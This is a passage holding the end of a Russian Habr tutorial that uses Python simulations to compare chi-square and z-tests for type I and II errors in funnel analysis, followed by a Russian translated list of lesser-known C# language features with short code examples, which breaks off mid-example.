type_2_error_levels = [0, 0.1, 0.5, 0.7, 0.9, 0.95, 0.98, 1]
type_2_error_color_map = matplotlib.colors.ListedColormap(['forestgreen',
'lightcoral',
'indianred',
'brown',
'firebrick',
'maroon',
'red'])
# уровни и цвета для анализа технических ошибок при тестировании
error_levels = [0, 0.1, 0.25, 0.5, 0.75, 0.9, 1]
error_color_map = matplotlib.colors.ListedColormap(['palegreen',
'honeydew',
'floralwhite',
'bisque',
'navajowhite' ,
'red'])
```
#### 5.1.1 Ошибки первого рода при сравнении двух воронок
Начнем с тестирования двух воронок и сравним, сколько ошибок первого рода (воронки одинаковые, но тест находит различие) возникает при применении разных тестов:
```
# ошибки первого рода для двух воронок
diffs = [1]
results, errors = {}, {}
for ss in [25, 50, 100, 200, 500]:
res, err = run_error_experiments(funnel_log, diffs = diffs, sample_size = ss, number_of_experiments = number_of_experiments, alpha = alpha,
test_func = two_funnel_test_function,
result_column_names = two_funnel_result_column_names,
compare_func = lambda x, alpha: x < alpha,
levels = type_1_error_levels,
color_map = type_1_error_color_map,
suptitle = f'Вероятность ошибки первого рода для различных видов теста $\chi^2$ и различных форм воронок, размер выборки {ss}, $\\alpha$ = {alpha}',
filename_template = f'chi2_type1err_ss{ss}_diff{str(diffs[0]).replace(".", "")}_numexp{number_of_experiments}')
errors[ss] = err
results[ss] = res
```
Выводы и наблюдения:
* лучше всего себя показал *χ*²-тест на независимость на таблице воронок — он продемонстрировал низкий процент ошибок первого рода для любых форм воронок вне зависимости от размера выборки;
* *χ*²-тест на гомогенность по таблице воронок показывает стабильно хорошие результаты для воронок с умеренным падением и стабильно плохие для воронок с быстрым падением;
* *χ*²-тест на гомогенность по таблице сопряженности стабильно находит отличия там, где их нет, для любых форм воронок и размеров выборок. Доля ошибок доходит до 30%;
* *χ*²-тест на независимость по таблице сопряженности и *z*-тест по последнему шагу воронок показывают приемлемые результаты только на больших выборках.
Удивительно, но, похоже, что тесты на сырых воронках дают более правильные результаты, если оценивать по ошибкам первого рода.
В процессе тестирования мы с вами получали ситуации, вызывающие ошибки. Например, таблицы сопряженности с нулевыми ячейками. Давайте посмотрим, как распределены ошибки, чтобы понять, насколько мы можем доверять полученным результатам.
```
# анализ ошибок
# data — фрейм с ошибками, полученными при тестировании
# num_exp — число экспериментов для каждой из воронок
# levels — линии уровня на карте ошибок
# color_map — цвета для отображения уровней ошибок
# title — заголовок графиков
def viz_errors(data, num_exp, levels, color_map, title = 'Число ошибок формирования воронок и таблиц сопряженности в зависимости от размера выборки'):
plt.figure(figsize = (30, 5))
for i, ss in enumerate(data.keys()):
z = data[ss].pivot_table(index = 'second_step_prob', columns = 'first_step_prob', values = 'errors', aggfunc = 'max')
z = z / num_exp
x, y = z.index.values, z.columns
# закраска областей
ax = plt.subplot(1, len(errors.keys()), i + 1)
ax.contourf(x, y, z, levels = levels, cmap = color_map, alpha = 0.3, norm = matplotlib.colors.BoundaryNorm(levels,len(levels)))
line_colors = ['black' for l in levels]
# линии уровня
cp = ax.contour(x, y, z, levels = levels, colors = 'black')
ax.clabel(cp, fontsize = 8, colors = line_colors)
plt.xlabel('Вероятность конверсии в первый шаг'), plt.ylabel('Вероятность конверсии во второй шаг')
plt.title(f'Размер выборки: {ss}')
plt.suptitle(title)
# проверим число сгенерированных ошибок
viz_errors(errors, number_of_experiments, levels = error_levels, color_map = error_color_map)
```
Из графика выше видно, что в основном мы можем доверять результатам, полученным для размера выборок больше 100 элементов. Для меньших выборок нужно быть аккуратными с анализом результатов для воронок с быстрым падением — тут доля ошибок может доходить до 90%.
#### 5.1.2 Ошибки второго рода при сравнении двух воронок
Проанализируем ошибки второго рода (ситуации, когда различия есть, но они не обнаруживаются тестом). Для начала взглянем на ситуацию, когда воронки отличаются на 10%:
```
# ошибки второго рода для двух воронок
diffs = [0.9]
results, errors = {}, {}
for ss in [25, 50, 100, 200, 500]:
res, err = run_error_experiments(funnel_log, diffs = diffs, sample_size = ss, number_of_experiments = number_of_experiments, alpha = alpha,
test_func = two_funnel_test_function,
result_column_names = two_funnel_result_column_names,
compare_func = lambda x, alpha: x > alpha,
levels = type_2_error_levels,
color_map = type_2_error_color_map,
suptitle = f'Вероятность ошибки второго рода для различных видов теста $\chi^2$ и различных форм воронок, размер выборки {ss}, воронки отличаются на {1-diffs[0]:.0%}, $\\alpha$ = {alpha}',
filename_template = f'chi2_type2err_ss{ss}_diff{str(diffs[0]).replace(".", "")}_numexp{number_of_experiments}')
errors[ss] = err
results[ss] = res
```
Выводы и наблюдения:
* хуже всего себя показал *χ*²-тест на независимость по таблице воронок — даже на выборках больших размеров этот тест не находит отличия там, где они есть;
* *χ*²-тест на гомогенность по таблице воронок и *z*-тест показывают сопоставимые результаты. В основном они хорошо работают на больших выборках и только в ситуациях умеренного падения;
* лучше всего себя показывают тесты на гомогенность и независимость, выполненные на таблицах сопряженности. С ростом размеров выборок они все лучше и лучше находят различия для воронок с резким падением на втором шаге и для воронок с умеренным падением.
Похоже, что тесты по таблицам сопряженности и *z*-тест обладают большей мощностью, чем тесты по таблицам воронок.
Теперь проанализируем ситуацию, когда воронки отличаются на 20%:
```
# ошибки второго рода для двух воронок
diffs = [0.8]
results, errors = {}, {}
for ss in [25, 50, 100, 200, 500]:
res, err = run_error_experiments(funnel_log, diffs = diffs, sample_size = ss, number_of_experiments = number_of_experiments, alpha = alpha,
test_func = two_funnel_test_function,
result_column_names = two_funnel_result_column_names,
compare_func = lambda x, alpha: x > alpha,
levels = type_2_error_levels,
color_map = type_2_error_color_map,
suptitle = f'Вероятность ошибки второго рода для различных видов теста $\chi^2$ и различных форм воронок, размер выборки {ss}, воронки отличаются на {1-diffs[0]:.0%}, $\\alpha$ = {alpha}',
filename_template = f'chi2_type2err_ss{ss}_diff{str(diffs[0]).replace(".", "")}_numexp{number_of_experiments}')
errors[ss] = err
results[ss] = res
```
Картина в целом аналогична предыдущему примеру:
* хуже всего тесты работают для воронок с быстрым падением;
* самые плохие результаты показывает *χ*²-тест на независимость на таблице воронок;
* лучше всего себя проявили тесты на гомогенность и независимость, выполненные по таблицам сопряженности;
* *z*-тест, похоже, лучше всего работает для воронок с умеренным падением.
Наконец, рассмотрим ситуацию, когда воронки отличаются на 30%:
```
# ошибки второго рода для двух воронок
diffs = [0.7]
results, errors = {}, {}
for ss in [25, 50, 100, 200, 500]:
res, err = run_error_experiments(funnel_log, diffs = diffs, sample_size = ss, number_of_experiments = number_of_experiments, alpha = alpha,
test_func = two_funnel_test_function,
result_column_names = two_funnel_result_column_names,
compare_func = lambda x, alpha: x > alpha,
levels = type_2_error_levels,
color_map = type_2_error_color_map,
suptitle = f'Вероятность ошибки второго рода для различных видов теста $\chi^2$ и различных форм воронок, размер выборки {ss}, воронки отличаются на {1-diffs[0]:.0%}, $\\alpha$ = {alpha}',
filename_template = f'chi2_type2err_ss{ss}_diff{str(diffs[0]).replace(".", "")}_numexp{number_of_experiments}')
errors[ss] = err
results[ss] = res
```
Видно, что с ростом размера выборок практически все *χ*²-тесты показывают сопоставимые результаты, а *z*-тест довольно плохо работает в ситуация быстро падающих воронок.
Общие выводы для ситуации с двумя воронками:
* *χ*²-тесты по таблицам сопряженности демонстрируют самую высокую мощность — они способны обнаружить разницу в воронках даже при небольших отличиях, если выборка достаточно велика;
* в то же время они демонстрируют самые высокие ошибки первого рода — чаще засекают разницу там, где ее на самом деле нет;
* *χ*²-тесты по таблицам воронок показывают обратные результаты. Они консервативны, реже допускают ошибки первого рода, но чаще — второго;
* *z*-тест не показывает существенно более хороших результатов по сравнению с *χ*²-тестами. Кроме того, *z*-тест хорошо работает преимущественно в регионе воронок с умеренным падением;
* при работе с любым *χ*²-тестом нужно быть внимательным при анализе воронок с быстрым падением — это регион высоких ошибок второго рода для любого *χ*²-теста;
* из всех *χ*²-тестов наиболее предпочтительным является *χ*²-тест на независимость — он демонстрирует оптимальное соотношение между вероятностью ошибок первого рода и мощностью;
* при росте размера выборки нет особенной разницы, проводите ли вы *χ*²-тест по таблице сопряженности или по таблице воронок.
### 5.2 Ситуация множественных воронок
В этом разделе мы посмотрим, как увеличение числа сравниваемых воронок повлияет на результаты тестирования. Для сравнения множества воронок будем использовать *χ*²-тесты на независимость. Сначала мы сравним ошибки первого рода для трех и четырех воронок, у которых нет отличий. Это, конечно, не даст исчерпывающего ответа на вопрос, как поведут себя тесты с ростом числа воронок, но поможет определить примерное направление развития результатов:
```
# ошибки первого рода для трех воронок
diffs = [1, 1]
results, errors = {}, {}
for ss in [25, 50, 100, 200, 500]:
res, err = run_error_experiments(funnel_log, diffs = diffs, sample_size = ss, number_of_experiments = number_of_experiments, alpha = alpha,
test_func = mult_funnel_test_function,
result_column_names = mult_funnel_result_column_names,
compare_func = lambda x, alpha: x < alpha,
levels = type_1_error_levels,
color_map = type_1_error_color_map,
suptitle = f'Вероятность ошибки первого рода для различных видов теста $\chi^2$ и различных форм воронок, размер выборки {ss}, $\\alpha$ = {alpha}',
filename_template = f'chi2_contingency_multiple_type1err_ss{ss}_numexp{number_of_experiments}_diffs{len(diffs)}')
errors[ss] = err
results[ss] = res
```
Проведем тесты для четырех воронок:
```
# ошибки первого рода для четырех воронок
diffs = [1, 1, 1]
results, errors = {}, {}
for ss in [25, 50, 100, 200, 500]:
res, err = run_error_experiments(funnel_log, diffs = diffs, sample_size = ss, number_of_experiments = number_of_experiments, alpha = alpha,
test_func = mult_funnel_test_function,
result_column_names = mult_funnel_result_column_names,
compare_func = lambda x, alpha: x < alpha,
levels = type_1_error_levels,
color_map = type_1_error_color_map,
suptitle = f'Вероятность ошибки первого рода для различных видов теста $\chi^2$ и различных форм воронок, размер выборки {ss}, $\\alpha$ = {alpha}',
filename_template = f'chi2_contingency_multiple_type1err_ss{ss}_numexp{number_of_experiments}_diffs{len(diffs)}')
errors[ss] = err
results[ss] = res
```
Оценим доли технических ошибок:
```
# проверим число сгенерированных ошибок
viz_errors(errors, number_of_experiments, levels = error_levels, color_map = error_color_map)
```
Выводы и наблюдения:
* как и в случае с двумя воронкам, тесты, проведенные по таблицам воронок, показывают меньшую вероятность ошибок первого рода;
* точность тестов, проведенных по таблицам сопряженности, увеличивается с ростом размера выборок. Интересно, что при размере выборки 100, вероятность ошибок первого рода резко возрастает для практически любых форм воронок, затем снова падает с увеличением размеров выборок. Природа этого эффекта не совсем ясна;
* нет существенной разницы между результатами, полученными для трех и четырех воронок;
* доля технических ошибок велика для воронок с граничными формами. Например, для воронок с резким падением. Но, начиная с выборок, имеющих размер от 100 наблюдений и более, результаты становятся достаточно консистентными.
Перейдем к анализу ошибок второго рода. Смоделируем ситуацию трех воронок, из которых одна имеет отличие в 10% от остальных двух:
```
# ошибки второго рода для трех воронок
diffs = [1, 0.9]
results, errors = {}, {}
for ss in [25, 50, 100, 200, 500]:
res, err = run_error_experiments(funnel_log, diffs = diffs, sample_size = ss, number_of_experiments = number_of_experiments, alpha = alpha,
test_func = mult_funnel_test_function,
result_column_names = mult_funnel_result_column_names,
compare_func = lambda x, alpha: x > alpha,
levels = type_2_error_levels,
color_map = type_2_error_color_map,
suptitle = f'Вероятность ошибки второго рода для различных видов теста $\chi^2$ и различных форм воронок, размер выборки {ss}, одна из воронок отличается на {1-diffs[1]:.0%}, $\\alpha$ = {alpha}',
filename_template = f'chi2_contingency_type2err_ss{ss}_diff{str(diffs[0]).replace(".", "")}_numexp{number_of_experiments}')
errors[ss] = err
results[ss] = res
```
Далее смоделируем ситуацию, когда одна из трех воронок имеет 10% отличие от эталона, а вторая — 30% отличие:
```
# ошибки второго рода для трех воронок
diffs = [0.9, 0.7]
results, errors = {}, {}
for ss in [25, 50, 100, 200, 500]:
res, err = run_error_experiments(funnel_log, diffs = diffs, sample_size = ss, number_of_experiments = number_of_experiments, alpha = alpha,
test_func = mult_funnel_test_function,
result_column_names = mult_funnel_result_column_names,
compare_func = lambda x, alpha: x > alpha,
levels = type_2_error_levels,
color_map = type_2_error_color_map,
suptitle = f'Вероятность ошибки второго рода для различных видов теста $\chi^2$ и различных форм воронок, размер выборки {ss}, одна из воронок отличается на {1-diffs[1]:.0%}, $\\alpha$ = {alpha}',
filename_template = f'chi2_contingency_type2err_ss{ss}_diff{str(diffs[0]).replace(".", "")}_numexp{number_of_experiments}')
errors[ss] = err
results[ss] = res
```
Выводы и наблюдения:
* в обоих экспериментах тесты по таблицам сопряженности показывают более высокую мощность;
* вероятность ошибки второго рода для тестов по таблице воронок падает с увеличением размеров выборок и ростом отличий воронок, но даже в самом лучшем случае тесты по таблице воронок показывают неплохие результаты только для воронок с умеренным падением.
Итак, проведя серию экспериментов, мы можем сделать следующие практические выводы:
* для анализа воронок *z*-тест менее предпочтителен, чем тест *χ*²;
* для анализа воронок из всех тестов *χ*² больше всего подходит тест на независимость;
* в ситуации сравнения двух воронок и большого размера выборок *χ*²-тест на независимость дает примерно одинаковые результаты при проведении теста на таблице воронок и на таблице сопряженности;
* в случае сравнения нескольких воронок выигрывает *χ*²-тест на независимость, проводимый по таблице сопряженности. Таким образом, можно рекомендовать всегда пользоваться тестом *χ*²-тест на независимость по таблице сопряженности для анализа воронок.
Выводы
------
* Для практических целей бизнес-аналитики применимы только тесты *χ*²-тест на независимость и гомогенность.
* В ситуации анализа двух пропорций *z*-тест полностью эквивалентен *χ*²-тесту на независимость с таблицей сопряженности 2 x 2.
* Для проведения *χ*²-тестов имеет смысл брать выборки размером порядка 500 наблюдений.
* При решении задач сравнения воронок с помощью χ²-теста предпочтительнее использовать *χ*²-тест на независимость, проводимый по таблице сопряженности, поскольку он обеспечивает оптимальные результаты с точки зрения ошибок первого и второго рода при сравнении двух и более воронок.
Вы можете скачать ноутбук для этой статьи [тут](https://github.com/vyacheslav-zotov/articles/blob/main/%D0%A1%D1%82%D0%B0%D1%82%D1%8C%D1%8F_%D0%A2%D0%B5%D1%81%D1%82%20Chi2.ipynb) (имейте в виду, что пересчет ошибок может занять значительное время). | https://habr.com/ru/post/677074/ | null | ru | null |
# «Скрытые» полезности С#
Предлагаю мой вольный перевод вопроса с stackoverflow, который мне показался полезным и сидит в фаворитах. Что-то я взял с MSDN (в основном вырезки из русской редакции), что-то -с блогов.
Все мы, С# разработчики, знаем базовые комманды C#. Я имею ввиду объявления, условия, циклы, операторы и т.д.
Некоторые из нас знают даже про [Generics](http://msdn.microsoft.com/en-us/library/512aeb7t%28VS.80%29.aspx), [anonymous types](http://msdn.microsoft.com/en-us/library/bb397696.aspx), [lambdas](http://msdn.microsoft.com/en-us/library/bb397687.aspx), [linq](http://msdn.microsoft.com/en-us/library/bb397676.aspx),…
Но, каковы реально скрытные возможности и трюки C#, про которые даже фанаты и эксперты не всегда знают?
Keywords
--------
[`yield`](http://msdn.microsoft.com/ru-ru/library/9k7k7cf0.aspx) by [Michael Stum](http://www.stackoverflow.com/questions/9033#9035) Используется в блоке [итератора](http://msdn.microsoft.com/ru-ru/library/dscyy5s0.aspx) для предоставления значения объекта перечислителя или для сообщения о конце итерации
> `yield return ;yield break;`
[`var`](http://msdn.microsoft.com/ru-ru/library/9wtdcw1b.aspx) by [Michael Stum](http://www.stackoverflow.com/questions/9033#9035). Объявляет переменную
> `var index;`
[`using()`](http://msdn.microsoft.com/ru-ru/library/yh598w02.aspx) statement by [kokos](http://www.stackoverflow.com/questions/9033#9036).Предоставляет удобный синтаксис, обеспечивающий правильное использование объектов [IDisposable](http://msdn.microsoft.com/ru-ru/library/system.idisposable.aspx).
> `using (System.IO.StreamReader sr = new System.IO.StreamReader(@"C:\Users\Public\Documents\test.txt"))
>
> {
>
> string s = null;
>
> while((s = sr.ReadLine()) != null)
>
> {
>
> Console.WriteLine(s);
>
> }
>
> }`
[`readonly`](http://msdn.microsoft.com/ru-ru/library/acdd6hb7.aspx) by [kokos](http://www.stackoverflow.com/questions/9033#9036).Ключевое слово readonly — это модификатор, который можно использовать для полей. Если объявление поля содержит модификатор readonly, присвоение значений таким полям может происходить только как часть объявления или в конструкторе в том же классе.
> `class Age
>
> {
>
> readonly int _year;
>
> Age(int year)
>
> {
>
> _year = year;
>
> }
>
> void ChangeYear()
>
> {
>
> //_year = 1967; // Compile error if uncommented.
>
> }
>
> }`
`as` by [Mike Stone](http://www.stackoverflow.com/questions/9033#9041)
`as` / `is` by [Ed Swangren](http://www.stackoverflow.com/questions/9033?#9070)
`as` / `is` (improved) by [Rocketpants](http://www.stackoverflow.com/questions/9033?#9092)
[`default`](http://msdn.microsoft.com/ru-ru/library/25tdedf5.aspx) by [deathofrats](http://www.stackoverflow.com/questions/9033?#9639)
[`global::`](http://msdn.microsoft.com/ru-ru/library/cc713620.aspx) by [pzycoman](http://www.stackoverflow.com/questions/9033?#12152).Когда контекстно-зависимое ключевое слово global предшествует [оператору](http://msdn.microsoft.com/ru-ru/library/htccxtad.aspx), оно относится к глобальному пространству имен, которое является пространством имен по умолчанию для любой программы C# и, в ином случае, не именуется.
> `class TestClass : global::TestApp { }`
[`volatile`](http://msdn.microsoft.com/ru-ru/library/x13ttww7.aspx) by [Jakub Šturc](http://stackoverflow.com/questions/9033/hidden-features-of-c#59691).Ключевое слово volatile указывает, что поле может быть изменено несколькими потоками, выполняющимися одновременно. Поля, объявленные как volatile, не проходят оптимизацию компилятором, которая предусматривает доступ посредством отдельного потока. Это гарантирует наличие наиболее актуального значения в поле в любое время.
> `class VolatileTest
>
> {
>
> public volatile int i;`
>
>
>
> public void Test(int \_i)
>
> {
>
> i = \_i;
>
> }
>
> }
[`extern alias`](http://msdn.microsoft.com/ru-ru/library/ms173212.aspx) by [Jakub Šturc](http://stackoverflow.com/questions/9033/hidden-features-of-c#37926).В некоторых случаях может потребоваться задать ссылки на две версии сборок с одинаковыми полными именами типов. Например, вам необходимо использовать две или более версий сборки в одном приложении. С помощью внешнего псевдонима сборки можно включить пространства имен для каждой сборки в оболочку внутри пространств имен корневого уровня, именуемых по этому псевдониму, что позволяет использовать их в одном файле.
/r:GridV1=grid.dll
/r:GridV2=grid20.dll
Здесь создаются внешние псевдонимы GridV1 и GridV2. Чтобы использовать эти псевдонимы в программе, создайте на них ссылку с помощью ключевого слова extern. Пример.
extern alias GridV1;
extern alias GridV2;
GridV1::Grid — это элемент управления Grid из grid.dll, а GridV2::Grid — это элемент управления Grid из grid20.dll.
Attributes
----------
[`DefaultValue`](http://msdn.microsoft.com/en-us/library/aa366793%28VS.85%29.aspx) by [Michael Stum](http://www.stackoverflow.com/questions/9033?#9035).Аттрибут для задания значения по умолчанию параметра.
[`ObsoleteAttribute`](http://msdn.microsoft.com/ru-ru/library/system.obsoleteattribute.aspx) by [DannySmurf](http://www.stackoverflow.com/questions/9033?#9037).Отмечает элементы программы, которые больше не используются.
[`DebuggerDisplayAttribute`](http://msdn.microsoft.com/ru-ru/library/system.diagnostics.debuggerdisplayattribute.aspx) by [Stu](http://www.stackoverflow.com/questions/9033?#9048).Определяет способ отображения класса или поля в окнах переменных отладчика.
[`DebuggerBrowsable`](http://msdn.microsoft.com/ru-ru/library/system.diagnostics.debuggerbrowsableattribute.aspx). Определяет наличие и способ отображения членов в окнах переменных отладчика.
[`DebuggerStepThrough`](http://msdn.microsoft.com/ru-ru/library/system.diagnostics.debuggerstepthroughattribute.aspx) by [bdukes](http://www.stackoverflow.com/questions/9033/hidden-features-of-c#33474). Задает класс DebuggerStepThroughAttribute. Этот класс не может быть наследован.
[`ThreadStaticAttribute`](http://msdn.microsoft.com/ru-ru/library/system.threadstaticattribute.aspx) by [marxidad](http://www.stackoverflow.com/questions/9033?#13932).Указывает, что значение статического поля уникально для каждого потока.
[`FlagsAttribute`](http://msdn.microsoft.com/ru-ru/library/system.flagsattribute.aspx) by [Martin Clarke](http://www.stackoverflow.com/questions/9033?#21752).Указывает, что перечисление может обрабатываться как битовое поле, которое является набором флагов.
> `[SerializableAttribute]
>
> [AttributeUsageAttribute(AttributeTargets.Enum, Inherited = false)]
>
> [ComVisibleAttribute(true)]
>
> public class FlagsAttribute : Attribute`
[`ConditionalAttribute`](http://msdn.microsoft.com/ru-ru/library/aa664622%28VS.71%29.aspx) by [AndrewBurns](http://www.stackoverflow.com/questions/9033#35342)
Syntax
------
`??` operator by [kokos](http://www.stackoverflow.com/questions/9033#9036).Оператор ?? называется оператором, поддерживающим значение NULL, и используется для определения значения по умолчанию для нулевых типов значений, а также для ссылочных типов. Он возвращает левый операнд, если он не имеет значения NULL, в противном случае возвращает правый операнд.
> `class NullCoalesce
>
> {
>
> static int? GetNullableInt()
>
> {
>
> return null;
>
> }`
>
>
>
> static string GetStringValue()
>
> {
>
> return null;
>
> }
>
>
>
> static void Main()
>
> {
>
> // ?? operator example.
>
> int? x = null;
>
>
>
> // y = x, unless x is null, in which case y = -1.
>
> int y = x ?? -1;
>
>
>
> // Assign i to return value of method, unless
>
> // return value is null, in which case assign
>
> // default value of int to i.
>
>
>
> int i = GetNullableInt() ?? default(int);
>
>
>
> string s = GetStringValue();
>
> // ?? also works with reference types.
>
> // Display contents of s, unless s is null,
>
> // in which case display «Unspecified».
>
>
>
> Console.WriteLine(s ?? «Unspecified»);
>
> }
>
> }
number flaggings by [Nick Berardi](http://www.stackoverflow.com/questions/9033#9038)
> `Decimal = M
>
> Float = F
>
> Double = D`
>
>
>
> // for example
>
> double d = 30D;
one-parameter lambdas by [Keith](http://www.stackoverflow.com/questions/9033#9099)
> `x => x.ToString() //simplify so many calls`
auto properties by [Keith](http://www.stackoverflow.com/questions/9033#9099)
> `Public int MyId { get; private set; }`
namespace aliases by [Keith](http://www.stackoverflow.com/questions/9033#9099)
> `using web = System.Web.UI.WebControls;
>
> using win = System.Windows.Forms;`
>
>
>
> web::Control aWebControl = new web::Control();
>
> win::Control aFormControl = new win::Control();
verbatim string literals with @ by [Patrick](http://www.stackoverflow.com/questions/9033#9114)
> `"c:\\program files\\oldway"
>
> @"c:\program file\newway"`
(символ @ помогает исключить спец символы)
`enum` values by [lfoust](http://www.stackoverflow.com/questions/9033#11738).Enum не обязательно должны иметь значения int.
> `public enum MyEnum : long
>
> {
>
> Val1 = 1,
>
> Val2 = 2
>
> }`
Любое numeric значение можно привести к enum:
> `MyEnum e = (MyEnum)123;`
[`event`](http://msdn.microsoft.com/ru-ru/library/8627sbea.aspx) operators by [marxidad](http://www.stackoverflow.com/questions/9033#14277).Используйте ключевое слово event для объявления события в классе издателя.
> `public class SampleEventArgs
>
> {
>
> public SampleEventArgs(string s) { Text = s; }
>
> public String Text {get; private set;} // readonly
>
> }
>
> public class Publisher
>
> {
>
> // Declare the delegate (if using non-generic pattern).
>
> public delegate void SampleEventHandler(object sender, SampleEventArgs e);`
>
>
>
> // Declare the event.
>
> public event SampleEventHandler SampleEvent;
>
>
>
> // Wrap the event in a protected virtual method
>
> // to enable derived classes to raise the event.
>
> protected virtual void RaiseSampleEvent()
>
> {
>
> // Raise the event by using the () operator.
>
> SampleEvent(this, new SampleEventArgs(«Hello»));
>
> }
>
> }
[format string brackets](http://msdn.microsoft.com/ru-ru/library/fht0f5be.aspx) by [Portman](http://www.stackoverflow.com/questions/9033#15321)
[property accessor accessibility modifiers](http://msdn.microsoft.com/ru-ru/library/75e8y5dd.aspx) by [xanadont](http://www.stackoverflow.com/questions/9033#15715)
[ternary operator (`:?`)](http://msdn.microsoft.com/ru-ru/library/ty67wk28%28en-us,VS.80%29.aspx) by [JasonS](http://www.stackoverflow.com/questions/9033#16450). condition? first\_expression: second\_expression;
[`checked` and `unchecked`](http://msdn.microsoft.com/ru-ru/library/74b4xzyw%28en-us,VS.71%29.aspx) operator by [Binoj Antony](http://stackoverflow.com/questions/9033/hidden-features-of-c/365801#355991)
Language Features
-----------------
[Nullable types](http://msdn.microsoft.com/ru-ru/library/1t3y8s4s.aspx) by [Brad Barker](http://www.stackoverflow.com/questions/9033#9055).Тип, допускающие значения NULL, являются экземплярами структуры [System.Nullable(T)](http://msdn.microsoft.com/ru-ru/library/b3h38hb0.aspx). Тип, допускающий значения NULL, может представлять правильный диапазон значений для своего базового типа значений и дополнительное пустое значение null. Например, для Nullable, называемого «тип Int32, допускающий значения NULL», можно назначить любое значение от -2 147 483 648 до 2 147 483 647 или значение null.
Используйте оператор **??**, чтобы назначить значение по умолчанию, применяемое, когда тип, допускающий значения NULL, с текущим значением null, назначен типу, не допускающему значения NULL, например, int? x = null; int y = x ?? -1;
[Currying](http://blogs.msdn.com/sriram/archive/2005/08/07/448722.aspx) by [Brian Leahy](http://www.stackoverflow.com/questions/9033#9066)
[anonymous types](http://msdn.microsoft.com/ru-ru/library/bb397696.aspx) by [Keith](http://www.stackoverflow.com/questions/9033#9099).Анонимные типы предлагают удобный способ инкапсулирования набора свойств только для чтения в один объект без необходимости предварительного явного определения типа. Имя типа создается компилятором и недоступно на уровне исходного кода. Тип свойств выводится компилятором. В следующем примере показан анонимный тип, который инициализируется двумя свойствами: Amount и Message.
> `var v = new { Amount = 108, Message = "Hello" };`
[`__makeref __reftype __refvalue`](http://www.codeproject.com/KB/dotnet/pointers.aspx) by [Judah Himango](http://www.stackoverflow.com/questions/9033#9125)
[object initializers](http://weblogs.asp.net/dwahlin/archive/2007/09/09/c-3-0-features-object-initializers.aspx) by [lomaxx](http://www.stackoverflow.com/questions/9033#9547).Одна из новинок С#3.0… Позволяет делать такие подмены:
> `Person p = new Person() {FirstName="John",LastName="Doe",Phone="602-123-1234",City="Phoenix"};`
То есть определять свойства, не используя конструктор.
[Extension Methods](http://msdn.microsoft.com/ru-ru/library/bb383977.aspx) by [marxidad](http://www.stackoverflow.com/questions/9033#13932).Метода расширения позволяют «добавлять» методы в существующие типы без создания нового производного типа, перекомпиляции или иного изменения исходного типа. Методы расширения являются особым видом статического метода, но они вызываются, как если бы они были методами экземпляра в расширенном типе. Для клиентского кода, написанного на языках C# и Visual Basic, нет видимого различия между вызовом метода расширения и вызовом методов, фактически определенных в типе.
> `class ExtensionMethods2
>
> {`
>
>
>
> static void Main()
>
> {
>
> int[] ints = { 10, 45, 15, 39, 21, 26 };
>
> var result = ints.OrderBy(g => g);
>
> foreach (var i in result)
>
> {
>
> System.Console.Write(i + " ");
>
> }
>
> }
>
> }
>
> //Output: 10 15 21 26 39 45
[`partial` methods](http://msdn.microsoft.com/ru-ru/library/wa80x488.aspx) by [Jon Erickson](http://www.stackoverflow.com/questions/9033#16395).Имеется возможность разделить определение [класса](http://msdn.microsoft.com/ru-ru/library/0b0thckt.aspx) или [структуры](http://msdn.microsoft.com/ru-ru/library/ah19swz4.aspx), [интерфейса](http://msdn.microsoft.com/ru-ru/library/87d83y5b.aspx) или метода между двумя или более исходными файлами. Каждый исходный файл содержит определение типа или метода, и все части объединяются при компиляции приложения.
> `public partial class Employee
>
> {
>
> public void DoWork()
>
> {
>
> }
>
> }`
>
>
>
> public partial class Employee
>
> {
>
> public void GoToLunch()
>
> {
>
> }
>
> }
>
>
[Директивы препроцессора C#](http://msdn.microsoft.com/ru-ru/library/ed8yd1ha.aspx) by [John Asbeck](http://www.stackoverflow.com/questions/9033#16482)
`DEBUG` pre-processor directive by [Robert Durgin](http://www.stackoverflow.com/questions/9033/hidden-features-of-c#29081) #if debug -код определенный в таком блоке будет выполнен только во время дебага. Удобно при разработке делать более подробные выводы исключений.
[Перегрузки операторов](http://msdn.microsoft.com/ru-ru/library/aa288467%28en-us%29.aspx) by [SefBkn](http://www.stackoverflow.com/questions/9033#24914).
boolean operators [taken to next level](http://www.java2s.com/Tutorial/CSharp/0160__Operator-Overload/truefalseoperatorforComplex.htm) by [Rob Gough](http://www.stackoverflow.com/questions/9033#32148)
Visual Studio Features
----------------------
[snippets](http://msdn.microsoft.com/ru-ru/library/f7d3wz0k.aspx) by [DannySmurf](http://www.stackoverflow.com/questions/9033?sort=newest#9037).Среда разработки Visual Studio включает функцию, называемую «фрагменты кода». Фрагменты кода — это готовые фрагменты кода, которые можно быстро вставлять в свой код. Например, фрагмент кода for создает пустой цикл for. Некоторые фрагменты кода являются окружающими, т.е. позволяют сначала выбрать строки кода, а затем фрагмент кода, в который выбранные строки будут включены. Например, если выбрать нужные строки кода и затем активировать фрагмент кода for, то будет создан блок цикла for, внутри которого будут выбранные строки кода. Фрагменты кода ускоряют, упрощают написание программ и делают этот процесс более надежным.
Имхо можете попробовать templates из [](http://www.jetbrains.com/resharper/).
Framework
---------
[`TransactionScope`](http://msdn.microsoft.com/ru-ru/library/system.transactions.transactionscope.aspx) by [KiwiBastard](http://www.stackoverflow.com/questions/9033?#9042).Делает блок кода транзакционным. Данный класс не может быть унаследован.
`Mutex` by [Diago](http://www.stackoverflow.com/questions/9033?#9181)
[`System.IO.Path`](http://msdn.microsoft.com/ru-ru/library/system.io.path.aspx) by [ageektrapped](http://www.stackoverflow.com/questions/9033?#9401).Выполняет операции для экземпляров класса String, содержащих сведения пути к файлу или каталогу. Эти операции выполняются межплатформенным способом.
[`WeakReference`](http://msdn.microsoft.com/ru-ru/library/system.weakreference.aspx) by [Juan Manuel](http://www.stackoverflow.com/questions/9033?#14723).Представляет слабую ссылку, которая указывает на объект, но позволяет удалять его сборщику мусора.
Methods and Properties
----------------------
`String.IsNullOrEmpty()` method by [KiwiBastard](http://www.stackoverflow.com/questions/9033#9042).Указывает, является ли заданный объект [String](http://msdn.microsoft.com/ru-ru/library/system.string.aspx) значением null (Nothing в Visual Basic) или строкой [Empty](http://msdn.microsoft.com/ru-ru/library/system.string.empty.aspx).
[`List.ForEach()`](http://msdn.microsoft.com/ru-ru/library/bwabdf9z%28en-us,VS.85%29.aspx) method by [KiwiBastard](http://www.stackoverflow.com/questions/9033#9042)
> `using System;
>
> using System.Collections.Generic;`
>
>
>
> class Program
>
> {
>
> static void Main()
>
> {
>
> List names = new List();
>
> names.Add(«Bruce»);
>
> names.Add(«Alfred»);
>
